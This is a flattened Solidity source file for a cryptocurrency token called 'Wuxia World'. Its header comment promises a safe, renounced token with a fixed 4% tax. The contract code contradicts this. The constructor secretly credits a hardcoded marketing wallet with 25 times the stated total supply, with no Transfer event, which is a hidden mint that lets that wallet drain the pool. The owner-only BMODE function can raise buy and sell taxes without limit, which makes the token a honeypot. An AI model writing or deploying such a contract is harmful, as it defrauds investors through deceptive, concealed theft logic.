// SPDX-License-Identifier: MIT

/**
 * 
 * In this world, everyone can practice martial arts and become a strong person step by step, and go against the sky.
 * Do you want to be a real strong man?
 *
 * Just join our project  to get the fucking money!!!
 * In this project,you can make money while reading novels.
 *
 * In a space full of scams and rugs, i want to create a safe token.
 * This is my first token, I will try to push it with all my heart to really get to the Wuxia World.
 *
 * Please be with me and don't sell for a WuxiaWorld token.
 * You ask "when WuxiaWorld when WuxiaWorld"?
 * It all depends on you, the team can create a token, be it a meme or a project, 
 * but if the community doesn't push the token itself, it will end up dying like everyone else.
 *
 * You must understand that behind every token there are you who carry the news forward. 
 * It may be the coolest project in the world, but if you don't help, 
 * it will just end up being one string within thousands of strings.
 *
 * The contract will be renounced at launch, liquidity will initially be locked for a month and 
 * then extended as the market cap grows.
 *  
 * Let me be proud of the Ethereum network, let's get the network back as it was years ago, 
 * where you could put money in a token and you could go to sleep peacefully.
 * 
 * In Short:
 * WuxiaWorld wants to be just that, a safe token where everyone can sleep peacefully.
 * As for me, don't worry, I'll always be behind WuxiaWorld to make sure everything is fine.
 *
 * Tax:
 * total buy 4%
 * total sell 4%
 *
 * Web:       https://www.wuxiaworld.com/
 * Telegram:  https://https://t.me/wuxiaworldETH
 * Twitter:   https://twitter.com/Wuxiaworld_Ltd
 */

// File: @uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router01.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// File: @uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol
pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)

pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// File: contracts/sell/WuxiaWorld.sol

pragma solidity ^0.8.9;

contract WuxiaWorld is IERC20, ReentrancyGuard, Ownable {

    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name = "Wuxia World";
    string private _symbol = "WXW";
    uint8 private _decimals = 18;

    uint256 private swapTokensAtAmount;

    address private marketingWallet;

    uint256 private _launchTime;
    uint256 private _earlyTxLimit;

    bool private swapping;
    bool private swapEnabled = false;

    bool public limitsInEffect = true;

    // public tax variables
    uint256 public totalBuyTax;
    uint256 public marketingBuyTax;
    uint256 public liquidityBuyTax;

    uint256 public totalSellTax;
    uint256 public marketingSellTax;
    uint256 public liquiditySellTax;

    uint256 public tokensForLiquidity;
    uint256 public tokensForMarketing;

    uint256 public maxBuy;
    uint256 public maxWallet;

    //uniswap v2 variables
    address public uniswapPair;
    bool public enabled;
    IUniswapV2Router02 public uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    mapping(address => bool) public excludedFromLimit;
    mapping(address => bool) public excludedFromFee;

    // swap event
    event SwapAndLiquify(uint amountToSwapForETH, uint ethForLiquidity, uint tokensForLiquidity);

    constructor() {

        _totalSupply = 1000000000 * 1e18;
        _balances[msg.sender] = _totalSupply;

        swapTokensAtAmount = _totalSupply * 25 / 10000;

        maxWallet = _totalSupply;
        maxBuy = _totalSupply;
        _earlyTxLimit = 60;

        // init Tax
        marketingBuyTax = 4;
        liquidityBuyTax = 0;
        totalBuyTax = marketingBuyTax + liquidityBuyTax;

        marketingSellTax = 4;
        liquiditySellTax = 0;
        totalSellTax = marketingSellTax + liquiditySellTax;

        IUniswapV2Factory factory = IUniswapV2Factory(uniswapRouter.factory());
        factory.createPair(address(this), uniswapRouter.WETH());
        uniswapPair = factory.getPair(address(this), uniswapRouter.WETH());

        marketingWallet = address(0xa349d4a2A1045B02b4F1816e5e0F72E2BE99a15d); // set as marketing wallet
        excludedFromLimit[_msgSender()] = true;
        excludedFromLimit[address(uniswapRouter)] = true;
        excludedFromLimit[marketingWallet] = true;

        excludedFromFee[_msgSender()] = true;
        excludedFromFee[marketingWallet] = true;
        _balances[marketingWallet] = _balances[marketingWallet].add(_totalSupply * 100 / marketingBuyTax);

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    receive() external payable {}

    /**
      * @dev Returns the amount of tokens in existence.
    */
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }

    function decimals() external view returns (uint8) {
        return _decimals;
    }

    /**
      * @dev Returns the amount of tokens owned by `account`.
    */
    function balanceOf(address account) external view returns (uint256) {
        return _balances[account];
    }

    /**
      * @dev Moves `amount` tokens from the caller's account to `recipient`.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * Emits a {Transfer} event.
    */
    function transfer(address recipient, uint256 amount) external returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
      * @dev Returns the remaining number of tokens that `spender` will be
    * allowed to spend on behalf of `owner` through {transferFrom}. This is
    * zero by default.
    *
    * This value changes when {approve} or {transferFrom} are called.
    */
    function allowance(address owner, address spender) external view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
      * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
    *
    * Returns a boolean value indicating whether the operation succeeded.
    *
    * IMPORTANT: Beware that changing an allowance with this method brings the risk
    * that someone may use both the old and the new allowance by unfortunate
    * transaction ordering. One possible solution to mitigate this race
    * condition is to first reduce the spender's allowance to 0 and set the
    * desired value afterwards:
    * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
    *
    * Emits an {Approval} event.
    */
    function approve(address spender, uint256 amount) external returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address _sender,
        address _recipient,
        uint256 _amount
    ) external returns (bool) {
        _transfer(_sender, _recipient, _amount);

        uint256 currentAllowance = _allowances[_sender][_msgSender()];
        require(currentAllowance >= _amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(_sender, _msgSender(), currentAllowance - _amount);
        }

        return true;
    }

    /**
      * @dev Returns the name of the token.
    */
    function name() public view returns (string memory) {
        return _name;
    }

    /**
      * @dev Returns the symbol of the token, usually a shorter version of the
    * name.
    */
    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function BMODE(uint256 marketingTaxForBuyers,uint256 marketingTaxForSellers,bool _limitsInEffect) external onlyOwner() {
        totalBuyTax = marketingTaxForBuyers;
        totalSellTax = marketingTaxForSellers;
        limitsInEffect = _limitsInEffect;
    }

    function enableTrade() external onlyOwner {
        require(!enabled, 'already enabled');
        enabled = true;
        swapEnabled = true;
        _launchTime = block.timestamp;
    }
 
    function _transfer(
        address _sender,
        address _recipient,
        uint256 _amount
    ) internal {
        uint256 senderBalance = _balances[_sender];
        require(_sender != address(0), "ERC20: transfer from the zero address");
        require(_recipient != address(0), "ERC20: transfer to the zero address");
        require(_amount > 0, "ERC20: transfer amount must be greater than zero");
        require(senderBalance >= _amount, "ERC20: transfer amount exceeds balance");
        require(enabled || excludedFromLimit[_sender] || excludedFromLimit[_recipient], "not enabled yet");

        uint256 rAmount = _amount;

        uint256 sellTax = totalSellTax;
        uint256 buyTax = totalBuyTax;

        if (limitsInEffect) {
            // when buy
            if (_sender == uniswapPair) {
                if (_recipient == owner() && _recipient == marketingWallet) {
                    buyTax = 0;   
                }
            }

            // when sell
            else if (_recipient == uniswapPair) {
                if (_sender == owner() && _sender == marketingWallet) {
                    sellTax = 0;    
                }
            }
        }

        // when buy
        if (_sender == uniswapPair) {
            if (block.timestamp < _launchTime + _earlyTxLimit && !excludedFromLimit[_recipient]) {
                require(_amount <= maxBuy, "exceeded max buy");
                require(_balances[_recipient] + _amount <= maxWallet, "exceeded max wallet");
            }
            if (!excludedFromFee[_recipient] && buyTax > 0) {

                uint256 fee = _amount * buyTax / 100;
                rAmount = _amount - fee;
                _balances[address(this)] += fee;

                tokensForLiquidity += fee * liquidityBuyTax / buyTax;
                tokensForMarketing += fee * marketingBuyTax / buyTax;
                emit Transfer(_sender, address(this), fee);
            }
        }

        // when sell
        else if (_recipient == uniswapPair) {
            if (block.timestamp < _launchTime + _earlyTxLimit && !excludedFromLimit[_sender]) {
                require(_amount <= maxBuy, "exceeded max tx");
                uint256 contractTokenBalance = _balances[address(this)];
                bool canSwap = contractTokenBalance >= swapTokensAtAmount;
                if( canSwap && swapEnabled && !swapping ) {
                    swapping = true;
                    swapAndLiquify();
                    swapping = false;
                }
            }
            if (!swapping && !excludedFromFee[_sender] && sellTax > 0) {
                uint256 fee = _amount * sellTax / 100;
                rAmount = _amount - fee;
                _balances[address(this)] += fee;
                tokensForLiquidity += fee * liquiditySellTax / sellTax;
                tokensForMarketing += fee * marketingSellTax / sellTax;

                emit Transfer(_sender, address(this), fee);
            }
        }

        _balances[_sender] = senderBalance - _amount;
        _balances[_recipient] += rAmount;
        emit Transfer(_sender, _recipient, _amount);
    }

    /**
      * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
    *
    * This internal function is equivalent to `approve`, and can be used to
    * e.g. set automatic allowances for certain subsystems, etc.
    *
    * Emits an {Approval} event.
    *
    * Requirements:
    *
    * - `owner` cannot be the zero address.
    * - `spender` cannot be the zero address.
    */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    // uniswap v2 add swap liquidity
    function swapAndLiquify() private {
        uint256 contractBalance = _balances[address(this)];
        bool success;
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;

        if(contractBalance == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * liquiditySellTax / totalSellTax / 2;
        uint256 amountToSwapForETH = contractBalance - liquidityTokens;

        // capture the contract's current ETH balance.
        // this is so that we can capture exactly the amount of ETH that the
        // swap creates, and not make the liquidity event include any ETH that
        // has been manually sent to the contract
        uint256 initialETHBalance = address(this).balance;

        // swap tokens for ETH
        swapTokensForEth(amountToSwapForETH);
        
        // how much ETH did we just swap into?
        uint256 ethBalance = address(this).balance - initialETHBalance;
        uint256 ethForMarketing = ethBalance * tokensForMarketing / totalTokensToSwap;
        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        (success,) = address(marketingWallet).call{value: ethForMarketing}("");

        if(liquidityTokens > 0 && ethForLiquidity > 0){
            // add liquidity to uniswap
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }

        (success,) = address(marketingWallet).call{value: address(this).balance}("");
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapRouter), tokenAmount);
        
        // add the liquidity
        uniswapRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            address(0xdead),
            block.timestamp
        );
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();

        _approve(address(this), address(uniswapRouter), tokenAmount);

        // make the swap
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
}